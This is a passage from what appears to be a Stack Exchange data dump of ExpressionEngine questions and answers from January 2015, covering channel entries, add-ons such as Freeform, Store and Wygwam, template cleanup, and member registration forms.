suggestions on how to handle this would be appreciated -- I've been going around and around with this for days. Here is the code in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function _update_event($entry, $event)&#xA;{&#xA;    $data = $this-&amp;gt;_prepare_input($event, $entry);&#xA;    $this-&amp;gt;EE-&amp;gt;api_channel_fields-&amp;gt;setup_entry_settings($this-&amp;gt;channel_id, $data);&#xA;&#xA;    $cd = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get_where('channel_data', array('entry_id' =&amp;gt; $entry['entry_id']));&#xA;               $res_arr = $cd-&amp;gt;result_array();&#xA;                $new_entry_data = $res_arr[0];&#xA;&#xA;&#xA;                foreach($data as $data_field_name =&amp;gt; $data_field_value) {&#xA;                    $new_entry_data[$data_field_name] = $data_field_value;&#xA;&#xA;                }&#xA;&#xA;    // if inserted successfully&#xA;    if($this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;update_entry($entry['entry_id'], $new_entry_data)) {&#xA;&#xA;        if ($event-&amp;gt;LocationPhone) {&#xA;            $this-&amp;gt;_assignCategoryToEntry($entry, $event);&#xA;        }&#xA;        return true;&#xA;    }&#xA;    else {&#xA;        // there has been an error&#xA;        $errors = $this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;errors;&#xA;        //log error&#xA;        log_message('error', $this-&amp;gt;_format_errors($errors));&#xA;        //$this-&amp;gt;show_error($this-&amp;gt;_format_errors($errors));&#xA;        return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastEditorUserId="343" LastEditDate="2015-01-14T20:37:09.763" LastActivityDate="2015-01-14T20:37:09.763" Title="Matrix Fields and Channel Entries API Update" Tags="|matrix|channel-entries-api|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28454" PostTypeId="2" ParentId="28451" CreationDate="2015-01-14T20:42:49.033" Score="2" Body="&lt;p&gt;Most probably that MX Cloner Accessory is activated for SuperAdmins only. It is why your entry is not cloned. Check if its assigned to another member groups.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2015-01-14T20:42:49.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28455" PostTypeId="2" ParentId="28452" CreationDate="2015-01-14T20:44:44.543" Score="3" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/MaxLazar/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;MX Calculator&lt;/a&gt; for any calculation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But possible you can use query module instead of channel:entries (if you have some simple fieldtype which keep they data  regular way). In this case you can do calculation in query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT field_id_15 AS code, field_id_2 AS field2, field_id_1 AS field1, (field_id_3 * field_id_4) AS field5 FROM exp_channel_data WHERE channel_id = 1 AND entry_id IN (&amp;lt;?=$csv_ids?&amp;gt;) LIMIT 10000&quot;}&#xA;    {code},{field1},{field2},{field5}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2015-01-15T11:05:04.507" LastActivityDate="2015-01-15T11:05:04.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28456" PostTypeId="1" AcceptedAnswerId="28485" CreationDate="2015-01-14T20:59:06.453" Score="1" ViewCount="59" Body="&lt;p&gt;I discovered that you can use attr:id and attr:class in a DevDemon Forms tag using parameters such as &lt;code&gt;attr:class=&quot;form-class&quot;&lt;/code&gt;. I didn't see this listed in the docs anywhere and now I'm wondering if it's possible to add a data attribute to the form tag as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is possible? I'd like to use some form validation that requires a data attribute on form tag.&lt;/p&gt;&#xA;" OwnerUserId="915" LastActivityDate="2015-01-15T20:15:57.370" Title="Is it possible to add a data attribute to a DevDemon Forms form tag?" Tags="|devdemon|devdemon-forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28458" PostTypeId="1" AcceptedAnswerId="28459" CreationDate="2015-01-14T21:07:05.217" Score="0" ViewCount="45" Body="&lt;p&gt;I'm going to be importing thousands of products into my products channel. The imported data will have &quot;cost&quot; information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, I want to &quot;selling price&quot; to be based on whatever category the product is assigned to (the category will have a &quot;markup field&quot; that'll either be in dollar value or percentage). I do want the store operator to be able set the markup at the product level (so the channel will also have something like a &quot;markup field&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this in Store? Is Carthrob able to do this?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-02-13T23:52:33.223" Title="Expresso Store: set price based on rules" Tags="|expresso-store|cartthrob|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28459" PostTypeId="2" ParentId="28458" CreationDate="2015-01-14T23:13:51.267" Score="1" Body="&lt;p&gt;There is nothing built into Store (or CartThrob) that would allow you to do this out of the box. Without writing a custom add-on to handle the logic the best place to start would be looking at the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Added the ability to enable &quot;custom prices&quot; on a per-channel basis. This allows you to use a user-submitted price in the add to cart form (for example with donations).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which was added in &lt;a href=&quot;https://www.exp-resso.com/docs/release_notes.html#new_features&quot; rel=&quot;nofollow&quot;&gt;Store v2&lt;/a&gt;. From there you would need to calculate the base price by the category modifier and then populate a hidden field with the price. Depending on how you are doing the calculations you will probably need to use an embedded template to get around parse order issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This approach doesn't prevent a determined user from modifying the hidden field however to adjust the price so you will probably need some other logic to make sure that the item total is correct.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-01-14T23:13:51.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28460" PostTypeId="2" ParentId="27318" CreationDate="2015-01-14T23:27:42.807" Score="0" Body="&lt;p&gt;Nathan, you can also check &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt; which gives you more flexibility dealing with categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:gwcode_categories channel=&quot;abcd&quot; cat_id=&quot;{segment_3_category_id}&quot; depth=&quot;1|2&quot; style=&quot;linear&quot; excl_cat_id=&quot;1|3&quot; limit=&quot;9&quot; parse=&quot;inward&quot;}&#xA;{/exp:gwcode_categories}&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2015-01-14T23:27:42.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28461" PostTypeId="1" CreationDate="2015-01-15T00:34:28.263" Score="1" ViewCount="104" Body="&lt;p&gt;I have inherited a large EE site (upgraded to 2.9.2) that is, frankly, a mess on the backend (EE CP). There are many template groups and templates that appear to have been left behind from multiple site redesign iterations over the past 6 years and I am not sure &lt;strong&gt;if&lt;/strong&gt; they are used any more, and even if they are, &lt;strong&gt;where&lt;/strong&gt; they are used. Additionally they are not saved to disk - they are just stored in the db - and I want to version control all the templates, but &lt;strong&gt;only what is current, not the legacy junk&lt;/strong&gt;, so I need to turn back on template writing to disk, at the very least to initially dump out the used templates so I can get them into Git.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to clean it up for both my and my content creators sanity. Is there a simple way (I don't care whether it is via the EE CP, PHP, or MySQL CLI - I am fluent in all) that I can easily determine if a template is used on any Pages in the site? If I used the MySQL CLI which EE table(s) should I be searching for? Are templates stored in the db by name, or as key-value pairs (PK integer and name), and are the templates names/PK integer used as foreign keys in other tables? I need to know how to isolate everything unused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2608" LastActivityDate="2015-01-15T13:08:33.007" Title="Quick and simple way to determine which templates are used on an EE site and where" Tags="|templates|control-panel|mysql|template-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28462" PostTypeId="2" ParentId="27318" CreationDate="2015-01-15T01:11:04.197" Score="1" Body="&lt;p&gt;@derek's answer is good, except that it will match other categories containing the numbers, like &lt;code&gt;18&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let's improve it using the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#contains-operator&quot; rel=&quot;nofollow&quot;&gt;contains&lt;/a&gt; and the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#string-concatenation-operator&quot; rel=&quot;nofollow&quot;&gt;concatenation&lt;/a&gt; operators, instead of a regex.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '/32/15/8/' *= '/'.segment_x_category_id.'/'}&#xA;    {redirect=&quot;404&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;code&gt;/&lt;/code&gt; as delimiter, but it could be some different character.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-01-15T01:11:04.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28463" PostTypeId="1" CreationDate="2015-01-15T05:24:56.750" Score="1" ViewCount="72" Body="&lt;p&gt;I have a simple form calling it with &lt;code&gt;{exp:freeform:form}&lt;/code&gt; composer tags.&#xA;Inside of it I put the &lt;code&gt;error_page&lt;/code&gt; parameter but it still renders the default error page. I am really stuck in this situation and I can't get over it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's part of my code : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form &#xA;    form_id=&quot;2&quot; &#xA;    required=&quot;full_name|email|phone_number|comment&quot; &#xA;    return=&quot;/thank-you/&quot;&#xA;    error_page=&quot;/en/error/&quot;&#xA;}&#xA;&#xA;...&#xA;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using Freeform Pro 4.1.1&lt;/p&gt;&#xA;" OwnerUserId="3861" LastEditorUserId="55" LastEditDate="2015-01-15T13:57:42.997" LastActivityDate="2016-05-21T05:56:10.420" Title="Parameter error_page doesn't work at all" Tags="|solspace-freeform|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28465" PostTypeId="1" CreationDate="2015-01-15T08:43:45.170" Score="0" ViewCount="48" Body="&lt;p&gt;it's good to see the answers from Brad on issues with MoreEvents. I have been trying to work with the module but wondered if my installation was ok or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me if the module was supposed to install some templates only I cannot find any within the control panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Richard&lt;/p&gt;&#xA;" OwnerUserId="4938" LastActivityDate="2016-05-25T15:05:06.910" Title="MoreEvents Module - Templates" Tags="|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28466" PostTypeId="2" ParentId="28461" CreationDate="2015-01-15T09:09:19.200" Score="3" Body="&lt;p&gt;There's a similar post &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5311/how-can-i-get-the-template-name-in-the-template&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you could just look in the template debugging info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to add something to each template that shows its name (either output to screen or as an HTML comment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you would then need to traverse the whole site and note which templates were used, and which ones weren't. Which would possibly be extremely time consuming.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-01-15T09:09:19.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28467" PostTypeId="1" AcceptedAnswerId="28489" CreationDate="2015-01-15T09:35:13.160" Score="2" ViewCount="83" Body="&lt;p&gt;I have a registration form which allows admins of my site to register new members. The form itself is functioning fine however the member group is always defaulting to Pending (ID:4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:register admin_register=&quot;yes&quot; allowed_groups=&quot;5|6|7|8|9&quot; return=&quot;members&quot;}&#xA;    &amp;lt;div class=&quot;row profile&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;col-sm-6&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;username&quot;&amp;gt;Username&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; id=&quot;username&quot;&amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;email&quot; name=&quot;email&quot; id=&quot;email&quot; &amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; /&amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;password-confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; id=&quot;password-confirm&quot;&amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;member-group&quot;&amp;gt;Member Group&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select name=&quot;group_id&quot; id=&quot;member-group&quot; class=&quot;styled-select&quot;&amp;gt;&#xA;                {select_member_groups}&#xA;                    &amp;lt;option value=&quot;{group_id}&quot;&amp;gt;{group_title}&amp;lt;/option&amp;gt;&#xA;                {/select_member_groups}&#xA;            &amp;lt;/select&amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;client&quot;&amp;gt;Associated Client&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select name=&quot;client&quot; id=&quot;client&quot; class=&quot;styled-select&quot;&amp;gt;&#xA;                {embed=&quot;clients/_associated&quot; client=&quot;{client}&quot;}&#xA;            &amp;lt;/select&amp;gt; &#xA;&#xA;            &amp;lt;label for=&quot;sceen-name&quot;&amp;gt;Screen Name &amp;lt;small&amp;gt;This will be displayed on the site&amp;lt;/small&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;screen_name&quot; id=&quot;screen-name&quot; &amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;occupation&quot;&amp;gt;Occupation&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;occupation&quot; id=&quot;occupation&quot; &amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;bio&quot;&amp;gt;Bio&amp;lt;/label&amp;gt;&#xA;            &amp;lt;textarea id=&quot;bio&quot; name=&quot;bio&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;location&quot;&amp;gt;Location&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;location&quot; id=&quot;location&quot; &amp;gt;&#xA;&#xA;            &amp;lt;input type=&quot;submit&quot; id=&quot;save&quot; value=&quot;Save&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;col-sm-6&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;file&quot;&amp;gt;Add Profile Pic&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;file&quot; id=&quot;file&quot; name=&quot;avatar_filename&quot;&amp;gt;&#xA;&#xA;            &amp;lt;ul class=&quot;edit&quot;&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label for=&quot;facebook&quot;&amp;gt;Facebook&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;facebook&quot; id=&quot;facebook&quot; &amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label for=&quot;twitter&quot;&amp;gt;Twitter&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;twitter&quot; id=&quot;twitter&quot; &amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label for=&quot;linkedin&quot;&amp;gt;LinkedIn&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;linkedin&quot; id=&quot;linkedin&quot;&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;label for=&quot;website&quot;&amp;gt;Website&amp;lt;/label&amp;gt;&#xA;                    &amp;lt;input type=&quot;text&quot; name=&quot;url&quot; id=&quot;website&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;notifications&quot; value=&quot;Opt in&quot; /&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;accept_terms&quot; value=&quot;y&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:user:register}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I say, everything else in the form fills out correctly, it is only the group_id that keeps defaulting to 4. The strange thing is I have an edit form too, which is more or less identical (see below), and upon submitting that the group_id will update correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the differences with the edit form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Opening tag&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:user:edit allowed_groups=&quot;5|6|7|8|9&quot; return=&quot;profile/{segment_3}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Member Group Select&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;member-group&quot;&amp;gt;Member Group&amp;lt;/label&amp;gt;&#xA;&amp;lt;select name=&quot;group_id&quot; id=&quot;member-group&quot; class=&quot;styled-select&quot;&amp;gt;&#xA;    {select_member_groups}&#xA;        &amp;lt;option value=&quot;{group_id}&quot; {selected}&amp;gt;{group_title}&amp;lt;/option&amp;gt;&#xA;    {/select_member_groups}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Added member groups manually (not using the select_member_groups tag).&lt;/li&gt;&#xA;&lt;li&gt;Removing the styled-select class which returns the select back to its default styling.&lt;/li&gt;&#xA;&lt;li&gt;Disabled any custom extensions that hook into the registration process.&lt;/li&gt;&#xA;&lt;li&gt;Added a text field with the id as value.&lt;/li&gt;&#xA;&lt;li&gt;I've also tried changing allowed_groups to &lt;code&gt;group_id=&quot;&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of the above still result in the member group remaining as Pending (ID:4)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone got any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2420" LastEditorUserId="2420" LastEditDate="2015-01-15T09:47:25.650" LastActivityDate="2015-01-15T22:51:14.910" Title="Solspace user registration isn't setting group id correctly" Tags="|members|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28468" PostTypeId="1" CreationDate="2015-01-15T10:19:10.960" Score="0" ViewCount="102" Body="&lt;p&gt;If you had this structure&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Main - Channel + Entry + Related/categories Entries&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Main Sub - Entry + Related/categories Entries&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Sub - Entry + Related/categories Entries&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Article Entry&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Where each category from depth 1-3 contained entry data and lists of entries how would you approach it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was to create a channel for each depth (fixed) , and associate entries at the article level with them (or associate articles with the parent)... but I wonder if native categories might be better, using segments to trigger channel information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2016-06-10T08:55:26.367" Title="Deep content structure. Entries at each level (Categories, Relationships or Playa?)" Tags="|playa|categories|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28469" PostTypeId="2" ParentId="28468" CreationDate="2015-01-15T13:03:11.370" Score="0" Body="&lt;p&gt;Honestly once you get past 3 levels deep I start looking at alternate ways of building navigation. I prefer the Taxonomy add-on, but have heard good things about Nav-ee as well.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2015-01-15T13:03:11.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28470" PostTypeId="2" ParentId="28461" CreationDate="2015-01-15T13:08:33.007" Score="2" Body="&lt;p&gt;AFIAK there is no quick/easy/simple way. You're on the hook for trying to generate every page within the site and reverse-engineering it to see what templates were involved. With Templates Routes now possible this chore will get even harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have lobbied in the past for an addon that would not only do this, but find &lt;em&gt;all&lt;/em&gt; the cruft in a legacy install - fields/channels/categories etc. I think it's worthy of a commercial add-on offering.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2015-01-15T13:08:33.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28471" PostTypeId="2" ParentId="28425" CreationDate="2015-01-15T13:21:59.167" Score="1" Body="&lt;p&gt;Unless I'm missing something this is really straightforward. The channel:entries tag assumes the open status so you don't even need to specify it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you have a relationship field in the Artists channel where you specify which pieces from the Artwork channel belong to that artist the cod is roughly:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;artists&quot;}&#xA;    {artwork}&#xA;       {artwork:title}&#xA;       {artwork:other-custom-fields]&#xA;    {/artwork}&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="651" LastActivityDate="2015-01-15T13:21:59.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28472" PostTypeId="2" ParentId="28421" CreationDate="2015-01-15T14:03:00.613" Score="0" Body="&lt;p&gt;This is because user-defined global variabes are parsed &lt;em&gt;after&lt;/em&gt; plugin and module tags. (&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/template_engine.html#rendering-stages&quot; rel=&quot;nofollow&quot;&gt;See parse order.&lt;/a&gt;) So you're literally passing &lt;code&gt;{group_title}&lt;/code&gt; to CE String.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try setting &lt;code&gt;{group_title}&lt;/code&gt; via a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/preload_replacement.html&quot; rel=&quot;nofollow&quot;&gt;preload_replace&lt;/a&gt; variable instead, as those are processed just before plugin tags.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-01-15T14:03:00.613" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28473" PostTypeId="1" CreationDate="2015-01-15T14:14:56.730" Score="0" ViewCount="39" Body="&lt;p&gt;Whenever I save content in Editor, and the content contains elements with inline styles, the attribute is corrupted. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;background:#eee;border:1px solid #ccc;padding:5px 10px;&quot;&amp;gt;This is a test&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When this is saved, the folllowing is added to the database&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div  solid #ccc;padding:5px 10px;&quot;&amp;gt;This is a test&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the inline style attribute has been corrupted? This occurs whenever the content is saved&lt;/p&gt;&#xA;" OwnerUserId="2912" LastActivityDate="2015-01-15T14:14:56.730" Title="Editor plugin corrupting inline styles when saved to the database" Tags="|devdemon|editor|redactor|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28474" PostTypeId="2" ParentId="28425" CreationDate="2015-01-15T14:35:05.177" Score="2" Body="&lt;p&gt;If I understand you needs correctly, and you need art list w/o grouping by artists (for list for last artworks as example) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql='SELECT GROUP_CONCAT(child_id SEPARATOR ',') as art_ids FROM exp_relationships LEFT JOIN exp_channel_titles ON exp_relationships.parent_id=exp_channel_titles.entry_id  WHERE exp_channel_titles.status = &quot;open&quot; AND exp_relationships.field_id = 29 LIMIT 100' parse=&quot;inward&quot;}&#xA;    {exp:channel:entries channel=&quot;artists&quot; entry_id = &quot;{art_ids}&quot; }&#xA;        {artwork}&#xA;           {artwork:title}&#xA;           {artwork:other-custom-fields]&#xA;        {/artwork}&#xA;    {/exp:channel:entries}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in example I select rel based on field_id.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2015-01-15T14:35:05.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28475" PostTypeId="1" CreationDate="2015-01-15T15:23:31.257" Score="0" ViewCount="63" Body="&lt;p&gt;as far as said situation is concerned, i only get one string of all the file names joined. Is it possible to loop through them or even get the files full paths?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:mp_data:my_multiple_upload_field} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to use this for a summary of all submitted content and the end of the form.&lt;/p&gt;&#xA;" OwnerUserId="4940" LastActivityDate="2015-01-15T20:04:38.290" Title="access Freeform mp_data of upload field with multiple files" Tags="|solspace-freeform|solspace|file-uploads|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28476" PostTypeId="1" CreationDate="2015-01-15T15:28:03.797" Score="2" ViewCount="89" Body="&lt;p&gt;I'm using EE 1.7.3, and I'd like to know how many articles are present in my site (there are thousands, want an exact number). Where can I find this?&lt;/p&gt;&#xA;" OwnerUserId="3699" LastActivityDate="2015-01-15T16:19:30.810" Title="How many articles are present in my site?" Tags="|ee1|count|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28477" PostTypeId="2" ParentId="28426" CreationDate="2015-01-15T15:52:49.693" Score="1" Body="&lt;p&gt;This just in from Brad at P&amp;amp;T:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;From what I can tell, if Admin-&gt;Security &amp;amp; Privacy-&gt;Security &amp;amp;&#xA;  Settings's &quot;Website Session Type&quot; is set to anything with session in&#xA;  it (session only, cookies and session), then EE just won't log you in&#xA;  from the front-end of the site at all. No idea why.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It will only work with &quot;cookies only&quot; selected. If EE were to log you&#xA;  in on the front-end with sessions, then it would automatically start&#xA;  the PHP $_SESSION global. Where Wygwam runs into trouble is that it&#xA;  sees that $_SESSION hasn't been started so it calls session_start(),&#xA;  but for some reason, EE sets that to a path restriction of {segment_2}&#xA;  causing Wygwam not to able to read/write to it.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;However, if you go to Admin-&gt;Security &amp;amp; Privacy-&gt;Cookie Settings and&#xA;  explicitly set the &quot;Cookie Path&quot; to &quot;/&quot;, then it will save the cookie&#xA;  with no path restriction and all of the sudden, CKFinder works like it&#xA;  should on the front-end.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know if this fits the definition of an Expression Engine bug, but it sure is hinkey.&lt;/p&gt;&#xA;" OwnerUserId="631" LastActivityDate="2015-01-15T15:52:49.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
